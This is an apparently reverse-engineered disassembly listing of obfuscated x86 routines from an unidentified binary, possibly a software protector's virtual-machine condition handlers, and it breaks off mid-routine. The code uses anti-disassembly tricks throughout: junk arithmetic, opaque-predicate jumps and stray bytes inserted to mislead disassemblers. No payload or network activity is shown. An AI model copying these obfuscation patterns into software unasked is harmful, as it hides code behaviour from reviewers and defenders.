
; Attributes: bp-based frame


sub_4A2762	proc near		; DATA XREF: sub_4965D8+701o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A27F2
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A27F2:				; CODE XREF: sub_4A2762+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2762	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2806	proc near		; DATA XREF: sub_4965D8+1433o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D7C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ah
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3AC
		xor	ecx, dword_4ED3B0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2898
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2898:				; CODE XREF: sub_4A2806+87j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D04
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2806	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A28AC	proc near		; DATA XREF: sub_4965D8+129Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2942
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2942:				; CODE XREF: sub_4A28AC+8Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A28AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2956	proc near		; DATA XREF: sub_4965D8+965o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED41C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2A15
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2A15:				; CODE XREF: sub_4A2956+B4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2A29	proc near		; DATA XREF: sub_4965D8+13ABo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 6
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		add	ecx, 8
		add	ecx, 3
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 12h
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2AB1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2AB1:				; CODE XREF: sub_4A2A29+7Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2A29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2AC5	proc near		; DATA XREF: sub_4965D8+773o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_4A2AF8
		jl	short loc_4A2AF6


loc_4A2AF3:				; CODE XREF: sub_4A2AC5:loc_4A2AF6j
					; sub_4A2AC5:loc_4A2AF8j
		jmp	short loc_4A2AFA
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A2AF6:				; CODE XREF: sub_4A2AC5+2Cj
		jz	short loc_4A2AF3


loc_4A2AF8:				; CODE XREF: sub_4A2AC5+2Aj
		jmp	short loc_4A2AF3
; ---------------------------------------------------------------------------


loc_4A2AFA:				; CODE XREF: sub_4A2AC5:loc_4A2AF3j
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		and	al, dl
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2B4B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2B4B:				; CODE XREF: sub_4A2AC5+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2AC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2B5F	proc near		; DATA XREF: sub_4965D8+74o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_4A2BCF
		jl	short loc_4A2BCD


loc_4A2BCA:				; CODE XREF: sub_4A2B5F:loc_4A2BCDj
					; sub_4A2B5F:loc_4A2BCFj
		jmp	short loc_4A2BD1
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2BCD:				; CODE XREF: sub_4A2B5F+69j
		jz	short loc_4A2BCA


loc_4A2BCF:				; CODE XREF: sub_4A2B5F+67j
		jmp	short loc_4A2BCA
; ---------------------------------------------------------------------------


loc_4A2BD1:				; CODE XREF: sub_4A2B5F:loc_4A2BCAj
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_4A2CE5
		mov	eax, [ebp+var_4]
		jo	short loc_4A2C16
		jl	short loc_4A2C14


loc_4A2C11:				; CODE XREF: sub_4A2B5F:loc_4A2C14j
					; sub_4A2B5F:loc_4A2C16j
		jmp	short loc_4A2C18
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2C14:				; CODE XREF: sub_4A2B5F+B0j
		jz	short loc_4A2C11


loc_4A2C16:				; CODE XREF: sub_4A2B5F+AEj
		jmp	short loc_4A2C11
; ---------------------------------------------------------------------------


loc_4A2C18:				; CODE XREF: sub_4A2B5F:loc_4A2C11j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A2CBC
		jl	short loc_4A2CBA


loc_4A2CB7:				; CODE XREF: sub_4A2B5F:loc_4A2CBAj
					; sub_4A2B5F:loc_4A2CBCj
		jmp	short loc_4A2CBE
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2CBA:				; CODE XREF: sub_4A2B5F+156j
		jz	short loc_4A2CB7


loc_4A2CBC:				; CODE XREF: sub_4A2B5F+154j
		jmp	short loc_4A2CB7
; ---------------------------------------------------------------------------


loc_4A2CBE:				; CODE XREF: sub_4A2B5F:loc_4A2CB7j
		inc	eax
		dec	eax
		jo	short loc_4A2CC9
		jl	short loc_4A2CC7


loc_4A2CC4:				; CODE XREF: sub_4A2B5F:loc_4A2CC7j
					; sub_4A2B5F:loc_4A2CC9j
		jmp	short loc_4A2CCB
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2CC7:				; CODE XREF: sub_4A2B5F+163j
		jz	short loc_4A2CC4


loc_4A2CC9:				; CODE XREF: sub_4A2B5F+161j
		jmp	short loc_4A2CC4
; ---------------------------------------------------------------------------


loc_4A2CCB:				; CODE XREF: sub_4A2B5F:loc_4A2CC4j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A2CD8
		jl	short loc_4A2CD6


loc_4A2CD3:				; CODE XREF: sub_4A2B5F:loc_4A2CD6j
					; sub_4A2B5F:loc_4A2CD8j
		jmp	short loc_4A2CDA
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2CD6:				; CODE XREF: sub_4A2B5F+172j
		jz	short loc_4A2CD3


loc_4A2CD8:				; CODE XREF: sub_4A2B5F+170j
		jmp	short loc_4A2CD3
; ---------------------------------------------------------------------------


loc_4A2CDA:				; CODE XREF: sub_4A2B5F:loc_4A2CD3j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A2CE5
		and	eax, 0
		jmp	short loc_4A2CE9
; ---------------------------------------------------------------------------


loc_4A2CE5:				; CODE XREF: sub_4A2B5F+A5j
					; sub_4A2B5F+17Fj
		and	eax, 0
		inc	eax


loc_4A2CE9:				; CODE XREF: sub_4A2B5F+184j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2D0C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2D0C:				; CODE XREF: sub_4A2B5F+1A2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2B5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2D20	proc near		; DATA XREF: sub_4965D8+3D1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 3Ah
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_4A2E72
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 4
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A2DFC
		jl	short loc_4A2DFA


loc_4A2DF5:				; CODE XREF: sub_4A2D20:loc_4A2DFAj
					; sub_4A2D20:loc_4A2DFCj
		jmp	short loc_4A2DFE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A2DFA:				; CODE XREF: sub_4A2D20+D3j
		jz	short loc_4A2DF5


loc_4A2DFC:				; CODE XREF: sub_4A2D20+D1j
		jmp	short loc_4A2DF5
; ---------------------------------------------------------------------------


loc_4A2DFE:				; CODE XREF: sub_4A2D20:loc_4A2DF5j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_4A2E11
		jl	short loc_4A2E0F


loc_4A2E0C:				; CODE XREF: sub_4A2D20:loc_4A2E0Fj
					; sub_4A2D20:loc_4A2E11j
		jmp	short loc_4A2E13
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A2E0F:				; CODE XREF: sub_4A2D20+EAj
		jz	short loc_4A2E0C


loc_4A2E11:				; CODE XREF: sub_4A2D20+E8j
		jmp	short loc_4A2E0C
; ---------------------------------------------------------------------------


loc_4A2E13:				; CODE XREF: sub_4A2D20:loc_4A2E0Cj
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A2E47
		jl	short loc_4A2E45


loc_4A2E40:				; CODE XREF: sub_4A2D20:loc_4A2E45j
					; sub_4A2D20:loc_4A2E47j
		jmp	short loc_4A2E49
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A2E45:				; CODE XREF: sub_4A2D20+11Ej
		jz	short loc_4A2E40


loc_4A2E47:				; CODE XREF: sub_4A2D20+11Cj
		jmp	short loc_4A2E40
; ---------------------------------------------------------------------------


loc_4A2E49:				; CODE XREF: sub_4A2D20:loc_4A2E40j
		inc	eax
		dec	eax
		jo	short loc_4A2E56
		jl	short loc_4A2E54


loc_4A2E4F:				; CODE XREF: sub_4A2D20:loc_4A2E54j
					; sub_4A2D20:loc_4A2E56j
		jmp	short loc_4A2E58
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A2E54:				; CODE XREF: sub_4A2D20+12Dj
		jz	short loc_4A2E4F


loc_4A2E56:				; CODE XREF: sub_4A2D20+12Bj
		jmp	short loc_4A2E4F
; ---------------------------------------------------------------------------


loc_4A2E58:				; CODE XREF: sub_4A2D20:loc_4A2E4Fj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A2E65
		jl	short loc_4A2E63


loc_4A2E60:				; CODE XREF: sub_4A2D20:loc_4A2E63j
					; sub_4A2D20:loc_4A2E65j
		jmp	short loc_4A2E67
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A2E63:				; CODE XREF: sub_4A2D20+13Ej
		jz	short loc_4A2E60


loc_4A2E65:				; CODE XREF: sub_4A2D20+13Cj
		jmp	short loc_4A2E60
; ---------------------------------------------------------------------------


loc_4A2E67:				; CODE XREF: sub_4A2D20:loc_4A2E60j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A2E72
		and	eax, 0
		jmp	short loc_4A2E76
; ---------------------------------------------------------------------------


loc_4A2E72:				; CODE XREF: sub_4A2D20+6Bj
					; sub_4A2D20+14Bj
		and	eax, 0
		inc	eax


loc_4A2E76:				; CODE XREF: sub_4A2D20+150j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2E99
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2E99:				; CODE XREF: sub_4A2D20+16Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2EAD	proc near		; DATA XREF: sub_4965D8+AA3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BCh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		inc	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		sub	cl, 5
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A2F9F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A2F9F:				; CODE XREF: sub_4A2EAD+E7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2EAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A2FB3	proc near		; DATA XREF: sub_4965D8+53Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_4A2FDC
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_4A2FDC:				; CODE XREF: sub_4A2FB3+22j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 5
		xor	dh, 2
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A3047
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A3047:				; CODE XREF: sub_4A2FB3+89j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A2FB3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A305B	proc near		; DATA XREF: sub_4965D8+D34o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Fh
		pop	ebx
		jo	short loc_4A308E
		jl	short loc_4A308C


loc_4A3087:				; CODE XREF: sub_4A305B:loc_4A308Cj
					; sub_4A305B:loc_4A308Ej
		jmp	short loc_4A3090
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A308C:				; CODE XREF: sub_4A305B+2Aj
		jz	short loc_4A3087


